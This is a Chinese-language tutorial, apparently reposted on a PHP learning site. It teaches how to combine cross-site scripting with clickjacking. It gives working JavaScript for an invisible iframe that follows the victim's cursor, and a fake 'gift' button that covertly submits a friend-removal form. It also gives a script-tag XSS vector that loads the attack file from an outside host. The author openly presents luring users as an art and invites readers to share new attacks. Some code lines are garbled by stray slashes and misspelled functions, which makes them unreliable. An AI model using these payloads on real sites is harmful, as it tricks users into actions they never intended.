来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] -----[ 0x01: 简介]Clickjacking攻击来自一个最近发现的两个研究人员杰里格罗斯曼和罗伯特RSnake汉森。这是一个相当简单而有效的攻击。我们会迅速分析如何将两种不同的XSS和Clickjacking结合在...
-----[ 0x01: 简介]
Clickjacking攻击来自一个最近发现的两个研究人员杰里格罗斯曼和罗伯特“RSnake”汉森。这是一个相当简单而有效的攻击。 我们会迅速分析如何将两种不同的XSS和Clickjacking结合在一起使攻击更有效。 ---------------------------------------------------------------------------------------------------------------------------------- -----[ 0x02: JavaScript 永远爱我们] 当然,我们将使用一些JavaScript代码以完成我们的攻击计划,特别是要尝试两种不同的方法: - 0x02a = 制造一个下列的IFRAME,该用户将被迫点击一下; - 0x02b = 创建一些专用的HTML代码来覆盖掉一些其他的网页内。 ---------------------------------------------------------------------------------------------------------------------------------- ------[ 0x02a: 光标跟踪] 第一个Clickjacking攻击,我们要准备将被命名为“Cursor tracking”:我们将使用JavaScript建立一个陷阱IFRAME。 现在开始编写代码,将部署Clickjacking攻击:我们所要做的就是让用户点击一个特定的按钮或链接,将迫使他作出一些动作,在网站中将装载精心设计过隐藏的IFRAME。 首先准备IFRAME代码,我们将要载入按钮点击: <iframe id="victim" src="http://target.com/page.php" scrolling="no" style="opacity: 0;position: absolute;left: 10;bottom: 10;" width="500px;"></iframe> 在这个简单的IFRAME声明,我们必须确保关闭“scrolling”功能,并设置“opacity”属性为0,以构造成网页隐藏的牺牲品。页面内部IFRAME的位置依赖于哪个用户应该点击,你可能会想固定它使用: margin-top: X; margin-left: X; 利用负值,你会得到的页面越来越多居中到IFRAME。 下一步是准备一个JavaScript函数,使我们将代码注入到IFRAME跟踪用户光标所在网页,并且我们可以如愿以偿。以下内容是使用的事件句柄。 function getPosition(e) { e = e || window.event; var cursor = {x:0, y:0}; if (e.pageX || e.pageY) { cursor.x = e.pageX; cursor.y = e.pageY; } else { var de = document.documentElement; var b = document.body; cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - / (de.clientLeft || 0); cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - / (de.clientTop || 0); } return cursor; } 此函数检索用户的光标所在网页每次获得调用的X和Y坐标。 function clickjacking(e) { var loadFrame = document.getElementByIdx("victim"); var curPos = getPosition(e); loadFrame.setAttribute('style','opacity:0;position:absolute;top:'/ + (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';'); } 同样,这一项装载IFRAME,调用以前的“getPosition”函数和改变属性加载IFRAME中的新坐标,检索光标跟踪的函数。 window.captureEvents(Event.MOUSEMOVE); window.onmousemove=clickjacking; 这将调用MouseMove事件处理程序,使“clickjacking”功能调用每个用户光标移动中的网页。正如我们现在的JavaScript代码,我们创建的IFRAME作出如下受害者的光标所在的网页,并迫使他点击特定的按钮。 现在让我们的JavaScript输出到IFRAME之内的HTML代码document.write: document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\" scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\" width=\"500px;\"></iframe>"); 这样的IFRAME代码将被输出到脆弱的网页上,我们要尽快包含我们的XSS攻击媒介。 我们的JavaScript代码如下所示: <!-- clickjacking.js --> function getPosition(e) { e = e || window.event; var cursor = {x:0, y:0}; if (e.pageX || e.pageY) { cursor.x = e.pageX; cursor.y = e.pageY; } else { var de = document.documentElement; var b = document.body; cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - / (de.clientLeft || 0); cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - / (de.clientTop || 0); } return cursor; } function clickjacking(e) { var loadFrame = document.getElementByIdx("victim"); var curPos = getPosition(e); loadFrame.setAttribute('style','opacity:0;position:absolute;top:' + / (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';'); } window.captureEvents(Event.MOUSEMOVE); window.onmousemove=clickjacking; document.write("<iframe id=\"victim\" src=\"http:// www.2cto.com /page.php\" / scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\" / width=\"500px;\"></iframe>"); ---------------------------------------------------------------------------------------------------------------------------------- ------[ 0x02b: 图形覆盖] 另一种方法是创建一些HTML代码注入其中的网页图形部分,将替换成假的,并邀请用户点击它。 例如,我们的受害者访问一个网站,其中有一个代码,允许他删除他的朋友: <form method="POST" name="friends" action="remove.php"> <div>Xiao Ming</div> <input type="hidden" name="friendid" value="123456" /> <input type="submit" value="Remove from friends" /> </form> 我们要迫使用户删除“Xiao Ming”,我们最终精心制作的JavaScript代码如下所示: <!-- clickjacking.js --> function bonus() { document.friends.submit(); } document.write("<div style=\"position:absolute;top:Ypx;left:Xpx;\"><input / type=button value=\"Your friend sent you a gift, get it!\" onClick=\"javascript:bonus()\" / /></div>"); 这将创建了一个按钮,将覆盖X和Y坐标,而这正是覆盖“Remove from friends”按钮,使它隐蔽地给了用户。 这仅仅是一个例子,说明了可用于覆盖技术,另一个可取代原来的登录表单并定位在网页的TOP和LEFT style属性。 ---------------------------------------------------------------------------------------------------------------------------------- -----[ 0x03: XSS 完成!] 假设一个相同的网页我们的受害者是用来访问()很容易受到跨站脚本,我们可以注入我们的JavaScript代码进行伪造,以便部署我们的XSS-Clickjacking,受害者几乎必会落入。 <script src=http:// www.2cto.com /clickjacking.js></script> 这是我们的XSS载体,我们应该使用JavaScript代码执行过受害者的浏览器:注入可以做到,因为我们已经看到,通过一个URL的GET参数或使用者输入表单。 “显然,一个XSS漏洞需要一些以前的蔓延,为了让受害者发现制作的恶意链接,他应该会得到想要的东西。” ---------------------------------------------------------------------------------------------------------------------------------- -----[ 0x04: 尾声] 该Clickjacking是一个非常有趣的攻击技术,获取更好的跨站脚本安全漏洞。 在这个攻击中最有趣事情的是,留下大量的空间让攻击者发挥自己的创造力,让他更好的表达出引诱网络用户的崇高艺术。 如果有可能的话,您创建了一个新的或更智能的攻击方法,可以邀请我一起共享--> Hack01[at]Live{dot}cn # The HacKeR NetSpy [czy] |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com